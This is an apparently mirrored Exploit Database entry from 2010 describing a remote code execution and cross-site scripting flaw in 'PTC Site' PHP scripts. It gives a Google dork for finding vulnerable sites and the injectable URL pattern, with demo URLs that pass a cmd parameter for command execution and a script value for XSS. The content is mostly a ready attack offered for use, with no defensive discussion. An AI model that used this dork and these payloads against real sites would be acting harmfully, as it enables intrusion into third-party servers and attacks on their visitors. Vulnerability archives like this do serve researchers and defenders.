PTC Site’s – Remote Code Execution / Cross-Site Scripting

• Exploit Database
• 9 阅读

• 作者： CrazyMember
  日期： 2010-05-30
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/12808/

• $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
  
  @Title: PTC Site's RCE/XSS Vulnerability
  @Vendor: http://www.ptcsites4sale.info & and etc...:D
  @Author: CrazyMember
  @SPC Thanks: XroGuE 4 r3p0r7 :P 
  @Dork:"intext:Warning: passthru()" "inurl:view=help"
  
  $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
  
  @Bug: http://[site]/index.php?view=help&faq=1&ref=[RCE/XSS/HTML]
  
  Demo: 
  
  #http://[site]/index.php?view=help&faq=1&ref=marykarma&cmd=[Your Commond]
  #http://[site]/index.php?view=help&faq=1&ref=[Your ScripT]
  
  $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$